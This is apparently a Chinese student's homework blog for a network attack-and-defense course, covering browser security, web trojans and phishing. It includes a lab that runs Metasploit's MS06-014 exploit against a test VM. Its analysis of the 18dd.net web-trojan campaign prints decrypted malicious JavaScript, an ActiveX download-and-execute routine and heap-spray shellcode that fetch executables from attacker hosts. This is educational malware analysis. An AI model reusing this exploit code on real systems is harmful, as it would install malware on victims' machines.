20199315 2019-2020-2 《网络攻防实践》第12周作业
20199315 2019-2020-2 《网络攻防实践》第12周作业
前言
这个作业属于哪个课程:https://edu.cnblogs.com/campus/besti/19attackdefense
这个作业的要求在哪里:https://edu.cnblogs.com/campus/besti/19attackdefense/homework/10756
我在这个课程的目标是:学习网络攻防相关知识,提升专业技能
这个作业在哪个具体方面帮助我实现目标:学习了解浏览器安全攻防
知识点梳理与总结————《网络攻防技术与实践》教材第十二章(P469)
Web浏览器的技术发展与安全威胁
现代Web浏览器指的是能够符合“现行标准”,并被互联网用户所接受使用的Web浏览器软件。
目前的现代Web浏览器要求能够理解和支持HTML和XHTML、CascadingStyleSheets (CSS)、ECMAScript及W3C Document Object Model (DOM)等一系列标准
需要支持各种应用层协议的Stream流接收与解析,并维护DOM对象模型结构,通过支持EMCAScript标准构建JavaScript. FlashActionScript等客户端脚本语言的执行环境,以及支持CSS标准控制页面的布局,最终在浏览器终端中将服务器端的各种流媒体对象、应用程序、客户端脚本执行效果进行渲染,展现给终端用户。
现代Web浏览器软件除了在内核引擎中实现符合各种标准的基本功能和特性之外,普遍地采用各种扩展机制允许第三方开发一些插件,以提升浏览器软件功能的丰富性。
微软IE浏览器基于Trident内核引擎(也被称为MSHTML),1996年即采用了ActiveX技术来支持第三方开发扩展插件,并沿用至今
MozillaFirefox的内核引擎为Gecko,通过XUL平台支持扩展插件开发
Google Chrome和苹果的Safari都基于开源的Webkit内核引擎,Opera 基于的内核引擎为Presto,这三款浏览器软件均于2010年才开始支持第三方扩展插件, Google Chrome可通过XMLHttpRequest和JSON机制来实现第三方扩展,而Safari与Opera则采用了标准化的HTML5、CSS3与JavaScript支持第三方实现扩展插件。
现代Web浏览器还通过各种客户端脚本执行环境、独立沙箱运行环境和虚拟机,来支持构造具有桌面应用程序特性的富Internet应用( RIA: Rich Internet Application),目前Adobe Flash/Flex、Java 和微软Silverlight是三种最普遍的RIA平台环境技术,帮助Web应用程序提供更友好的用户交互、客户端执行与展现效果。
web浏览器软件的安全困境三要素
- 复杂性
现代Web浏览器软件由于需要支持HTTP、HTTPS、 FTP等多种类型的应用层协议浏览,符合HTML、XHTML、CSS等一系列的页面标准规范,支持JavaScript、Flash、Java、 SilverLight 等多种客户端执行环境,并满足大量的用户浏览需求,已经变得非常复杂和庞大。现代浏览器的复杂性已经通过源代码行数得到了验证。现代浏览器软件的复杂性意味着更多的错误和安全缺陷,也就导致了目前浏览器软件中存在着可被渗透攻击所利用的大量安全漏洞。
- 可扩展性
现代Web浏览器可能是最突出可扩展特性支持的软件类型,目前儿乎所有的现代浏览器软件都支持第三方插件扩展机制,并通过JavaScript等客户端脚本执行环境、沙箱和虚拟机来执行富Internet应用程序。而相对于大型软件厂商所开发的浏览器软件本身而言,三方扩展插件的开发过程更缺乏安全保证,出现安全漏洞的情况更为普遍。
此外,浏览器插件一般也不具备自动版本更新的机制,安全漏洞被利用的时间周期较系统软件与浏览器软件本身漏洞要长。恶意客户端脚本代码也是现代浏览器由于可扩展性所面临的主要安全威胁,攻击者可以在网站中链接恶意的JavaScript脚本代码,或者恶意Flash文件,当浏览器软件装载这些恶意客户端脚本代码,将会在浏览器端进行执行,从而被渗透攻击与利用。
- 连通性
现代Web浏览器本身就是为用户实现“随时随地浏览互联网”这一目标而存在的,因此浏览器软件始终工作在联网状态,一旦其中存在安全漏洞,就很容易被网络上的威胁源所利用与攻击。
Web浏览安全威胁位置
针对传输网络的网络协议安全威胁:网络是连接Web应用服务端与客户端浏览环境的媒介,因此对于Web浏览端而言,与Web服务器端同样面临着网络传输协议安全攻击与威胁,如网络监听与协议栈攻防技术。
针对Web浏览端系统平台的安全威胁:互联网用户在浏览网页过程中所使用的浏览器软件、插件及相关应用程序都运行在桌面操作系统之上,桌面操作系统所存在的安全漏洞使得Web浏览环境存在着被攻击的风险。目前微软的Windows操作系统产品占据了桌面操作系统的绝大部分市场份额,针对Windows桌面系统的渗透攻击与恶意代码是目前网络安全威胁的主要形态,如Windows操作系统安全攻防技术和恶意代码攻防技术。
针对Web浏览器软件及插件程序的渗透攻击威胁:随着防火墙、网络入侵防御系统等安全设备在网络边界上的部署,传统的针对服务器端的渗透攻击变得愈加困难,在这一背景下,针对Web浏览器软件及插件程序的客户端渗透攻击在近几年来逐渐变得流行,恶意攻击者在地下经济链的驱动下,通过客户端渗透攻击向互联网用户桌面系统中植入恶意木马程序,窃取隐私信息并以此牟取非法利益。
针对互联网用户的社会工程学攻击威胁:最后,恶意攻击者会利用进行Web浏览的互联网用户本身所存在的人性、心理等方面的弱点,实施社会工程学攻击,来尝试骗取互联网用户的敏感个人隐私信息,典型的该类安全威胁是目前常见的网络钓鱼攻击。
web浏览端的渗透攻击威胁——网页木马
网页木马是从恶意网页脚本所孕育和发展而来的。
网页木马是对Web浏览端软件进行客户端渗透攻击的一类恶意移动代码,通常以网页脚本语言如JavaScript、VBScirpt 实现,或以Flash、PDF等恶意构造的Web文件形式存在,通过利用Web浏览端软件中存在的安全漏洞,获得客户端计算机的控制权限以植入恶意程序。
网页木马发展与流行的驱动力——黑客地下经济链
网页木马存在的技术基础——web浏览端安全漏洞
网页木马的本质核心——浏览器渗透攻击
网页挂马机制
内嵌HTML标签
恶意script脚本
内嵌对象链接
ARP欺骗挂马
混淆机制
目前在网页木马中使用比较广泛的混淆方法主要有:
将代码重新排版,去除缩进、空行、换行、注释等,同时将网页木马中的变量名替换为一组合法的随机字符串,使其失去自我描述的能力,从而干扰阅读分析
通过大小写变换、十六进制编码、escape编码、unicode编码等方法对网页木马进行编码混淆
通过通用或定制的加密工具对网页木马进行加密得到密文,然后使用脚本语言中包含的解密函数,对密文进行解密,再使用documentwrite(或eval()进行动态输出或执行,此类混淆方法例如XXTEA网页加密工具
利用字符串运算、数学运算或特殊函数可以混淆代码,一个典型的例子是通过字符串替换函数将网页木马中的一些字符替换为其他字符构成混淆后代码,然后在运行时首先替换回原先的字符,然后进行动态执行
修改网页木马文件掩码欺骗反病毒软件,或对网页木马文件结构进行混淆,来伪装正常文件,甚至将网页木马代码拆分至多个文件等。
检测与分析技术
基于特征码匹配的传统检测方法
基于统计与机器学习的静态分析方法
基于动态行为结果判定的检测分析方法
基于模拟浏览器环境的动态分析检测方法
现有的静态分析方法试图通过特征码匹配和机器学习方法,在网页木马的外在形态层次上构建出较为准确的检测方法,这类方法对于灵活多变的网页木马形态而言,不可避免地存在无法应对变形或未知攻击的缺陷
动态行为分析方法实质上是从网页木马的外部表现行为出发,根据网页木马成功攻击客户端软件后对系统造成的行为后果进行判定,而对网页木马最核心的渗透攻击过程则视做“黑盒”不进行任何分析,因此在交互环境不充分、渗透代码存在“逻辑炸弹”或对抗机制、网页木马攻击场景部分失效等情况下均无法有效检测,此外,该类方法仅能判定是否网页木马,而无法提供目标组件、利用漏洞位置与类型等更为全面的攻击语义信息。
近年提出的基于模拟浏览器环境的动态分析检测方法,在应对脚本语言特有的混淆变形机制,恢复网页木马原始形态方面取得了良好的效果,并能够进一步结合脚本源码的静态结构分析以及安全漏洞特征检测方法,来达到更好的检测效果。
防范措施
提升操作系统与浏览端平台软件的安全性,可以采用操作系统本身提供的在线更新以及第三方软件所提供的常用应用软件更新机制,来确保所使用的计算机始终处于一种相对安全的状态
安装与实时更新一款优秀的反病毒软件
养成安全上网浏览的良好习惯,并借助于Google安全浏览、SiteAdvisor 等站点安全评估工具的帮助,避免访问那些可能遭遇挂马或者安全性不高的网站,可以有效地降低被网页木马渗透攻击的概率
在目前网页木马威胁主要危害Windows平台和IE浏览器用户的情况下,或许安装Mac OS/Linux操作系统,并使用Chrome、Safari、 Opera 等冷门浏览器进行上网,做互联网网民中特立独行的少数派,可以有效地避免网页木马的侵扰。
网络钓鱼
网络钓鱼(Phishing)是社会工程学在互联网中广泛实施的一种典型攻击方式, 通过大量发送声称来自于银行或其他知名机构的欺骗性垃圾邮件,意图引诱收信人给出个人敏感信息(如用户名、口令、账号ID、PIN码或信用卡详细信息等)。
防范
针对网络钓鱼过程中的电子邮件和即时通信信息欺诈,应该提高警惕性,对于以中奖、优惠、紧急状态等各种名义索取个人敏感信息的邮件一定要持怀疑态度,在未经认真核准的情况下,不要轻易相信并打来邮件中的链接。
充分利用浏览器软件、网络安全厂商软件所提供的反钓鱼网站功能特性,如浏览器中对HTTPS安全登录链接的提示,地址栏中对访问网站域名的标黑高亮提示、对钓鱼网站的警告提示与举报功能。但同时又不能完全依赖于这些浏览器与网络安全软件的安全提示,对于进行关键的在线金融操作时,还需要靠个人的安全意识来辨别可能面对的新的钓鱼网站。
在登录网上银行、证券基金等关键网站进行在线金融操作时,务必要重视访问网站的真实性,不要点击邮件中的链接来访问这些网站,最好以直接访问域名方式来访问,尽量使用硬件U盾来代替软证书或口令访问重要的金融网站。对网上银行异常动态提高警惕,如不小心在陌生的网址上输入了账户和密码,并遇到类似“系统维护”之类提示时,应立即拨打有关客服热线进行确认,万一资料被盗,应立即修改相关交易密码或进行银行卡、证券交易卡挂失。
最为重要的是,通过学习和修炼提升自己抵抗社会工程学攻击的能力,从而在目前流行的撒网式钓鱼攻击中立于不败之地,因为撒网式钓鱼攻击不会采用复杂度很高的欺骗技巧,我们每个人都存在社会工程学攻击漏洞,只要比绝大多数人更懂得一些欺骗攻击技巧和相应的防范措施,并在实际过程中加以关注,就很难被撒网式钓鱼攻击所危害。
实践
Web浏览器渗透攻击实验(P497)
使用攻击机和Windows靶机进行浏览器渗透攻击实验,体验网页木马构造及实施浏览器攻击的实际过程。
所需环境:
攻击机: BT4 Linux攻击机或Windows XP_ _Attacker攻击机,使用其中安装的Metasploit渗透攻击框架软件;
靶机:未打补丁的Windows靶机,可使用Windows 2KS靶机或Windows XP靶机。
实验步骤;
选择使用Metasploit中的MS06-014渗透攻击模块(ie_ createobject);
选择PAYLOAD为任意远程Shell连接;
设置服务器地址(SVRHOST或LHOST)和URL参数,运行exploit,构造出恶意网页木马脚本;
在靶机环境中启动浏览器,验证与服务器的连通性,并访问恶意网页木马脚本URL;⑤在攻击机的Metasploit软件中查看渗透攻击状态,并通过成功渗透攻击后建立起的远程控制会话SESSION,在靶机上远程执行命令。
本次实验使用的虚拟机为kali(IP:192.168.200.2
)和Win2k(IP:192.168.200.124
),并开启蜜罐保证连通性。
haodi(可能是方言吗 我不知道是哪两个字)还是来处理我的蜜罐的密码问题了,听室友说得大小写英文+符号+数字才可以,于是试了
Lfy.123
,成功了提权密码还是
honey
!!!之前那个,没变。
在kali中打开msfconsole
搜索MS06-014漏洞search MS06-014
选择module use 0
显示有效载荷show payloads
设置payloadset payload windows/meterpreter/reverse_tcp
show options
查看需要设置的参数
设置攻击机地址set LHOST 192.168.200.2
show options
再lou一眼
攻击exploit
(建议攻击之前看眼实验3,打开wireshark)
发下有个URL地址http://192.168.200.2:8080/u8rc6UVeh2uJV
,可能是题目那个有木马的恶意地址
在靶机中访问这个地址
发现显示一段英文字符ACGmtBzfwJZFnjtsqUFLRSwqkEV
回到攻击机中,发现已经建立会话
回车一下
用sessions
查看目前的连接(好像标准的命令是sessions -l
??)
使用命令sessions 1
选择会话1,返回meterpreter
使用getuid
查看当前权限
发现当前权限为Administrator
使用ifconfig
查看靶机IP
与实际情况相符
剖析一个实际的网页木马攻击场景(P507)
一个研究组发现了一个域名为
18dd.net
的挂马网站。在链接分析的过程中, 发现有大量恶意网页最终都重定向到了这个网站上。这个挂马网站现在已经无法访问了,但蜜网课题组的成员保留了最初做分析时所有的原始文件。首先你应该访问
start.html
, 在这个文件中给出了new09.htm
的地址,在进入new09.htm
后,每解密出一个文件地址,请对其作32位MD5散列,以散列值为文件名到http://netsec.ccert.edu.cn/hacking/
目录(或者附带资料中的解压缩数据目录)下去下载对应的文件(注意:文件名中的英文字母为小写,且没有扩展名), 即为解密出的地址对应的文件。如果解密出的地址给出的是网页或脚本文件,请继续解密:如果解密出的地址是二进制程序文件,请进行静态反汇编或动态调试。重复以上过程直到这些文件被全部分析完成。请注意:被散列的文件地址应该是标准的URL形式,形如http:/xx. 18dd.net/a/b.htm
,否则会导致散列值计算不正确而无法继续。试述你是如何一步步地从所给的网页中获取最后的真实代码的?
网页和 JavaScript 代码中都使用了什么样的加密方法?你是如何解密的?
从解密后的结果来看,攻击者利用了那些系统漏洞?
解密后发现了多少个可执行文件?其作用是什么?
这些可执行文件中有下载器么?如果有,它们下载了哪些程序?这些程序又是什么作用的?(举例分析)
实验过程
首先前往http://192.168.68.253/scom/start.html
下载start. html
但是网页实效了好像……
实验指导书中有代码,找到关于newog.htm
的信息
urlresult=" newog.htm' ;
<iframe Src=' newog.htm" width= " o'height=" o"></iframe>
可以看出start.html
文件在引用new09.htm
文件时没有写绝对路径,所以new09.htm
文件与start.html
文件在同一目录下。http://192.168.68.253/scom/newog.htm
。同样,下载下来并用记事本打开。
<iframe width='0' height='0' src='http://aa.18dd.net/aa/kl.htm'></iframe>
<script language="javascript" type="text/javascript"
src="http://js.users.51.la/1299644.js"></script>
可以看到new09.htm
文件中,用iframe
引用了一个http://aa.18dd.net/aa/kl.htm
文件,又用javascript
引用了一个http://js.users.51.la/1299644.js
文件。
对它们分别作MD5散列,得:
MD5(http://aa.18dd.net/aa/kl.htm,32) = 7f60672dcd6b5e90b6772545ee219bd3
MD5(http://js.users.51.la/1299644.js,32) = 23180a42a2ff1192150231b44ffdf3d3
按照说明,下载这两个文件:
http://192.168.68.253/scom/hashed/7f60672dcd6b5e90b6772545ee219bd3
http://192.168.68.253/scom/hashed/23180a42a2ff1192150231b44ffdf3d3
这俩文件,给的资源文件里面有
用记事本打开
指导书介绍说,这是一种被称为XXTEA+Base64
的加密方法
查看倒数第三行
t=utf8to16(xxtea_decrypt(base64decode(t), '\x73\x63\x72\x69\x70\x74'));
xxtea_decrypt
函数的第二个参数就是密钥。密钥使用了16进制加密。转换一下,密钥是“script”。
访问http://www.txttool.com/wenben_txtencrypt.asp
,在密钥一栏中填入“script”,在下面大的文本框中粘贴那个文件的全部内容,点“解密”。(指导书给的那个链接我打不开)解密后的内容复制过来了:
<script>
eval("\x66\x75\x6e\x63\x74\x69\x6f\x6e\x20\x69\x6e\x69\x74\x28\x29\x7b\x64\x6f\x63\x75\x6d\x65\x6e\x74\x2e\x77\x72\x69\x74\x65\x28\x29\x3b\x7d\x0d\x0a\x77\x69\x6e\x64\x6f\x77\x2e\x6f\x6e\x6c\x6f\x61\x64\x20\x3d\x20\x69\x6e\x69\x74\x3b\x0d\x0a\x69\x66\x28\x64\x6f\x63\x75\x6d\x65\x6e\x74\x2e\x63\x6f\x6f\x6b\x69\x65\x2e\x69\x6e\x64\x65\x78\x4f\x66\x28\x27\x4f\x4b\x27\x29\x3d\x3d\x2d\x31\x29\x7b\x0d\x0a\x74\x72\x79\x7b\x76\x61\x72\x20\x65\x3b\x0d\x0a\x76\x61\x72\x20\x61\x64\x6f\x3d\x28\x64\x6f\x63\x75\x6d\x65\x6e\x74\x2e\x63\x72\x65\x61\x74\x65\x45\x6c\x65\x6d\x65\x6e\x74\x28\x22\x6f\x62\x6a\x65\x63\x74\x22\x29\x29\x3b\x0d\x0a\x61\x64\x6f\x2e\x73\x65\x74\x41\x74\x74\x72\x69\x62\x75\x74\x65\x28\x22\x63\x6c\x61\x73\x73\x69\x64\x22\x2c\x22\x63\x6c\x73\x69\x64\x3a\x42\x44\x39\x36\x43\x35\x35\x36\x2d\x36\x35\x41\x33\x2d\x31\x31\x44\x30\x2d\x39\x38\x33\x41\x2d\x30\x30\x43\x30\x34\x46\x43\x32\x39\x45\x33\x36\x22\x29\x3b\x0d\x0a\x76\x61\x72\x20\x61\x73\x3d\x61\x64\x6f\x2e\x63\x72\x65\x61\x74\x65\x6f\x62\x6a\x65\x63\x74\x28\x22\x41\x64\x6f\x64\x62\x2e\x53\x74\x72\x65\x61\x6d\x22\x2c\x22\x22\x29\x7d\x0d\x0a\x63\x61\x74\x63\x68\x28\x65\x29\x7b\x7d\x3b\x0d\x0a\x66\x69\x6e\x61\x6c\x6c\x79\x7b\x0d\x0a\x76\x61\x72\x20\x65\x78\x70\x69\x72\x65\x73\x3d\x6e\x65\x77\x20\x44\x61\x74\x65\x28\x29\x3b\x0d\x0a\x65\x78\x70\x69\x72\x65\x73\x2e\x73\x65\x74\x54\x69\x6d\x65\x28\x65\x78\x70\x69\x72\x65\x73\x2e\x67\x65\x74\x54\x69\x6d\x65\x28\x29\x2b\x32\x34\x2a\x36\x30\x2a\x36\x30\x2a\x31\x30\x30\x30\x29\x3b\x0d\x0a\x64\x6f\x63\x75\x6d\x65\x6e\x74\x2e\x63\x6f\x6f\x6b\x69\x65\x3d\x27\x63\x65\x3d\x77\x69\x6e\x64\x6f\x77\x73\x78\x70\x3b\x70\x61\x74\x68\x3d\x2f\x3b\x65\x78\x70\x69\x72\x65\x73\x3d\x27\x2b\x65\x78\x70\x69\x72\x65\x73\x2e\x74\x6f\x47\x4d\x54\x53\x74\x72\x69\x6e\x67\x28\x29\x3b\x0d\x0a\x69\x66\x28\x65\x21\x3d\x22\x5b\x6f\x62\x6a\x65\x63\x74\x20\x45\x72\x72\x6f\x72\x5d\x22\x29\x7b\x0d\x0a\x64\x6f\x63\x75\x6d\x65\x6e\x74\x2e\x77\x72\x69\x74\x65\x28\x22\x3c\x73\x63\x72\x69\x70\x74\x20\x73\x72\x63\x3d\x68\x74\x74\x70\x3a\x5c\x2f\x5c\x2f\x61\x61\x2e\x31\x38\x64\x64\x2e\x6e\x65\x74\x5c\x2f\x61\x61\x5c\x2f\x31\x2e\x6a\x73\x3e\x3c\x5c\x2f\x73\x63\x72\x69\x70\x74\x3e\x22\x29\x7d\x0d\x0a\x65\x6c\x73\x65\x7b\x0d\x0a\x74\x72\x79\x7b\x76\x61\x72\x20\x66\x3b\x76\x61\x72\x20\x73\x74\x6f\x72\x6d\x3d\x6e\x65\x77\x20\x41\x63\x74\x69\x76\x65\x58\x4f\x62\x6a\x65\x63\x74\x28\x22\x4d\x50\x53\x2e\x53\x74\x6f\x72\x6d\x50\x6c\x61\x79\x65\x72\x22\x29\x3b\x7d\x0d\x0a\x63\x61\x74\x63\x68\x28\x66\x29\x7b\x7d\x3b\x0d\x0a\x66\x69\x6e\x61\x6c\x6c\x79\x7b\x69\x66\x28\x66\x21\x3d\x22\x5b\x6f\x62\x6a\x65\x63\x74\x20\x45\x72\x72\x6f\x72\x5d\x22\x29\x7b\x0d\x0a\x64\x6f\x……………………………………
</script>
这里又使用了十六进制加密,解密后:
function init(){document.write();}
window.onload = init;
if(document.cookie.indexOf('OK')==-1){
try{var e;
var ado=(document.createElement("object"));
ado.setAttribute("classid","clsid:BD96C556-65A3-11D0-983A-00C04FC29E36");
var as=ado.createobject("Adodb.Stream","")}
catch(e){};
finally{
var expires=new Date();
expires.setTime(expires.getTime()+24*60*60*1000);
document.cookie='ce=windowsxp;path=/;expires='+expires.toGMTString();
if(e!="[object Error]"){
document.write("<script src=http:\/\/aa.18dd.net\/aa\/1.js><\/script>")}
else{
try{var f;var storm=new ActiveXObject("MPS.StormPlayer");}
catch(f){};
finally{if(f!="[object Error]"){
document.write("<script src=http:\/\/aa.18dd.net\/aa\/b.js><\/script>")}}
try{var g;var pps=new ActiveXObject("POWERPLAYER.PowerPlayerCtrl.1");}
catch(g){};
finally{if(g!="[object Error]"){
document.write("<script src=http:\/\/aa.18dd.net\/aa\/pps.js><\/script>")}}
try{var h;var obj=new ActiveXObject("BaiduBar.Tool");}
catch(h){};
finally{if(h!="[object Error]"){
obj.DloadDS("http://down.18dd.net/bb/bd.cab", "bd.exe", 0)}}
}}}
利用到的应用程序漏洞有“Adodb.Stream”、“MPS.StormPlayer”、“POWERPLAYER.PowerPlayerCtrl.1”和“BaiduBar.Tool”,分别对应利用了微软数据库访问对象、暴风影音、PPStream和百度搜霸的漏洞。
另外,这个文件还引用三个js文件和一个压缩包(bd.cab,解开后是bd.exe)。
MD5(http://aa.18dd.net/aa/1.js,32) = 5d7e9058a857aa2abee820d5473c5fa4
MD5(http://aa.18dd.net/aa/b.js,32) = 3870c28cc279d457746b3796a262f166
MD5(http://aa.18dd.net/aa/pps.js,32) = 5f0b8bf0385314dbe0e5ec95e6abedc2
MD5(http://down.18dd.net/bb/bd.cab,32) = 1c1d7b3539a617517c49eee4120783b2
从资源文件夹里面找到这些文件
第一个文件:
解密转换得到
var url="http://down.18dd.net/bb/014.exe";try{var xml=ado.CreateObject("Microsoft.XMLHTTP","");xml.Open
("GET",url,0);xml.Send();as.type=1;as.open();as.write(xml.responseBody);path="..\\ntuser.com";as.savetofile(path,2);as.close
();var shell=ado.createobject("Shell.Application","");shell.ShellExecute("cmd.exe","/c "+path,"","open",0)}catch(e){}
这个文件前面部分下载了一个http://down.18dd.net/bb/014.exe
的可执行文件,后面部分是对ADODB漏洞的继续利用。
然后看b.js
使用“packed”解密。加密方法在查88的首页上被称作“老外写的js加解密工具”
var bigblock=unescape("%u9090%u9090");var headersize=20;var shellcode=unescape("%uf3e9%u0000"+"%u9000%u9090%u5a90%ua164%u0030%u0000%u408b%u8b0c"+"%u1c70%u8bad%u0840%ud88b%u738b%u8b3c%u1e74%u0378"+"%u8bf3%u207e%ufb03%u4e8b%u3314%u56ed%u5157%u3f8b"+"%ufb03%uf28b%u0e6a%uf359%u74a6%u5908%u835f%ufcef"+"%ue245%u59e9%u5e5f%ucd8b%u468b%u0324%ud1c3%u03e1"+"%u33c1%u66c9%u088b%u468b%u031c%uc1c3%u02e1%uc103"+"%u008b%uc303%ufa8b%uf78b%uc683%u8b0e%u6ad0%u5904"+"%u6ae8%u0000%u8300%u0dc6%u5652%u57ff%u5afc%ud88b"+"%u016a%ue859%u0057%u0000%uc683%u5613%u8046%u803e"+"%ufa75%u3680%u5e80%uec83%u8b40%uc7dc%u6303%u646d"+"%u4320%u4343%u6643%u03c7%u632f%u4343%u03c6%u4320"+"%u206a%uff53%uec57%u04c7%u5c03%u2e61%uc765%u0344"+"%u7804%u0065%u3300%u50c0%u5350%u5056%u57ff%u8bfc"+"%u6adc%u5300%u57ff%u68f0%u2451%u0040%uff58%u33d0"+"%uacc0%uc085%uf975%u5251%u5356%ud2ff%u595a%ue2ab"+"%u33ee%uc3c0%u0ce8%uffff%u47ff%u7465%u7250%u636f"+"%u6441%u7264%u7365%u0073%u6547%u5374%u7379%u6574"+"%u446d%u7269%u6365%u6f74%u7972%u0041%u6957%u456e"+"%u6578%u0063%u7845%u7469%u6854%u6572%u6461%u4c00"+"%u616f%u4c64%u6269%u6172%u7972%u0041%u7275%u6d6c"+"%u6e6f%u5500%u4c52%u6f44%u6e77%u6f6c%u6461%u6f54"+"%u6946%u656c%u0041%u7468%u7074%u2f3a%u642f%u776f%u2e6e%u3831%u6464%u6e2e%u7465%u622f%u2f62%u6662%u652e%u6578%u0000");var slackspace=headersize+shellcode.length;while(bigblock.length<slackspace)bigblock+=bigblock;fillblock=bigblock.substring(0,slackspace);block=bigblock.substring(0,bigblock.length-slackspace);while(block.length+slackspace<0x40000)block=block+block+fillblock;memory=new Array();for(x=0;x<300;x++)memory[x]=block+shellcode;var buffer='';while(buffer.length<4068)buffer+="\x0a\x0a\x0a\x0a";storm.rawParse(buffer)
把shellcode转换成EXE可执行文件。
URL中必然出现斜线“/”,“/”的十六进制ASCII码是2F,那么就在那段shellcode中找“2f”,结果如下
%uf3e9%u0000%u9000%u9090%u5a90%ua164%u0030%u0000%u408b%u8b0c%u1c70%u8bad%u0840%ud88b%u738b%u8b3c%u1e74%u0378%u8bf3%u207e%ufb03%u4e8b%u3314%u56ed%u5157%u3f8b%ufb03%uf28b%u0e6a%uf359%u74a6%u5908%u835f%ufcef%ue245%u59e9%u5e5f%ucd8b%u468b%u0324%ud1c3%u03e1%u33c1%u66c9%u088b%u468b%u031c%uc1c3%u02e1%uc103%u008b%uc303%ufa8b%uf78b%uc683%u8b0e%u6ad0%u5904%u6ae8%u0000%u8300%u0dc6%u5652%u57ff%u5afc%ud88b%u016a%ue859%u0057%u0000%uc683%u5613%u8046%u803e%ufa75%u3680%u5e80%uec83%u8b40%uc7dc%u6303%u646d%u4320%u4343%u6643%u03c7%u632f%u4343%u03c6%u4320%u206a%uff53%uec57%u04c7%u5c03%u2e61%uc765%u0344%u7804%u0065%u3300%u50c0%u5350%u5056%u57ff%u8bfc%u6adc%u5300%u57ff%u68f0%u2451%u0040%uff58%u33d0%uacc0%uc085%uf975%u5251%u5356%ud2ff%u595a%ue2ab%u33ee%uc3c0%u0ce8%uffff%u47ff%u7465%u7250%u636f%u6441%u7264%u7365%u0073%u6547%u5374%u7379%u6574%u446d%u7269%u6365%u6f74%u7972%u0041%u6957%u456e%u6578%u0063%u7845%u7469%u6854%u6572%u6461%u4c00%u616f%u4c64%u6269%u6172%u7972%u0041%u7275%u6d6c%u6e6f%u5500%u4c52%u6f44%u6e77%u6f6c%u6461%u6f54%u6946%u656c%u0041%u7468%u7074%u2f3a%u642f%u776f%u2e6e%u3831%u6464%u6e2e%u7465%u622f%u2f62%u6662%u652e%u6578%u0000
其中,最后的部分
%u2f3a%u642f…………%u622f%u2f62
两个2f比较密集
于是取从第三个2f开始到末尾的内容%u2f3a%u642f%u776f%u2e6e%u3831%u6464%u6e2e%u7465%u622f%u2f62%u6662%u652e%u6578%u0000
,进行16进制ASCII到文本的转换
解密结果是:
://down.18dd.net/bb/bf.exe
往前多取四位,得到一个网址http://down.18dd.net/bb/bf.exe
接着看pps.js
使用的是八进制加密,解密后:
/*%u66c9%u088b%u468b%u031c%uc1c3%u02e1%uc103" +
"%u008b%uc303%ufa8b%uf78b%uc683%u8b0e%u6ad0%u5904" +
"%u6ae8%u0000%u8300%u0dc6%u5652%u57ff%u5afc%ud88b" +
"%u016a%ue859%u0057%u0000%uc683%u5613%u8046%u803e" +
"%ufa75%u3680%u5e80%uec83%u8b40%uc7dc%u6303%u646d" +
"%u4320%u4343%u6643%u03c7%u632f%u4343%u03c6%u4320" +
"%u206a%uff53%uec57%u*/
pps=(document.createElement("object"));
pps.setAttribute("classid","clsid:5EC7C511-CD0F-42E6-830C-1BD9882F3458")
var shellcode = unescape("%uf3e9%u0000"+
"%u9000%u9090%u5a90%ua164%u0030%u0000%u408b%u8b0c" +
"%u1c70%u8bad%u0840%ud88b%u738b%u8b3c%u1e74%u0378" +
"%u8bf3%u207e%ufb03%u4e8b%u3314%u56ed%u5157%u3f8b" +
"%ufb03%uf28b%u0e6a%uf359%u74a6%u5908%u835f%u04c7" +
"%ue245%u59e9%u5e5f%ucd8b%u468b%u0324%ud1c3%u03e1" +
"%u33c1%u66c9%u088b%u468b%u031c%uc1c3%u02e1%uc103" +
"%u008b%uc303%ufa8b%uf78b%uc683%u8b0e%u6ad0%u5904" +
"%u6ae8%u0000%u8300%u0dc6%u5652%u57ff%u5afc%ud88b" +
"%u016a%ue859%u0057%u0000%uc683%u5613%u8046%u803e" +
"%ufa75%u3680%u5e80%uec83%u8b40%uc7dc%u6303%u646d" +
"%u4320%u4343%u6643%u03c7%u632f%u4343%u03c6%u4320" +
"%u206a%uff53%uec57%u04c7%u5c03%u2e61%uc765%u0344" +
"%u7804%u0065%u3300%u50c0%u5350%u5056%u57ff%u8bfc" +
"%u6adc%u5300%u57ff%u68f0%u2451%u0040%uff58%u33d0" +
"%uacc0%uc085%uf975%u5251%u5356%ud2ff%u595a%ue2ab" +
"%u33ee%uc3c0%u0ce8%uffff%u47ff%u7465%u7250%u636f" +
"%u6441%u7264%u7365%u0073%u6547%u5374%u7379%u6574" +
"%u446d%u7269%u6365%u6f74%u7972%u0041%u6957%u456e" +
"%u6578%u0063%u7845%u7469%u6854%u6572%u6461%u4c00" +
"%u616f%u4c64%u6269%u6172%u7972%u0041%u7275%u6d6c" +
"%u6e6f%u5500%u4c52%u6f44%u6e77%u6f6c%u6461%u6f54" +
"%u6946%u656c%u0041%u7468%u7074%u2f3a%u642f%u776f%u2e6e%u3831%u6464%u6e2e%u7465%u622f%u2f62%u7070%u2e73%u7865%u0065");
var bigblock = unescape("%u9090%u9090");
var headersize = 20;
var slackspace = headersize+shellcode.length;
while (bigblock.length<slackspace) bigblock+=bigblock;
fillblock = bigblock.substring(0, slackspace);
block = bigblock.substring(0, bigblock.length-slackspace);
while(block.length+slackspace<0x40000) block = block+block+fillblock;
memory = new Array();
for (x=0; x<400; x++) memory[x] = block + shellcode;
var buffer = '';
while (buffer.length < 500) buffer+="\x0a\x0a\x0a\x0a";
pps.Logo = buffer
又是shellcode,同理得到了它对应的可执行文件路径http://down.18dd.net/bb/pps.exe
对以上3个exe文件进行MD5散列如下:
MD5(http://down.18dd.net/bb/014.exe,32) = ca4e4a1730b0f69a9b94393d9443b979
MD5(http://down.18dd.net/bb/bf.exe,32) = 268cbd59fbed235f6cf6b41b92b03f8e
MD5(http://down.18dd.net/bb/pps.exe,32) = ff59b3b8961f502289c1b4df8c37e2a4
目前有了四个exe文件,即014.exe,bf.exe,pps.exe,bd.exe。这四个文件在资源管理器中显示出同样的大小。进一步对文件内容进行MD5散列计算得出结论,这四个文件内容完全相同
接下来打开WinXP虚拟机,把四个里随便哪个文件丢进去
使用PEiD查看这个可执行文件的加壳情况
发现它是用Delphi编写的
用IDA反汇编这个exe文件
直接OK
这个程序可能生成一个叫"Alletdel.bat"的批处理文件,这个文件中有一个标签叫"try",批处理文件会不断的执行这个标签下一行的命令,命令内容可能是判断文件存在性,更改系统日期,删除某些文件(证据:" goto try",":try","Alletdel.bat","cmd /c date ","cmd /c date 1981-01-12","del "","del %0","if exist "")
这个程序可能在磁盘根目录下生成自动运行的文件,以求用户不小心时启动程序(证据:":\AutoRun.inf","[AutoRun] open=","AutoRun.inf","shell\Auto\command=")
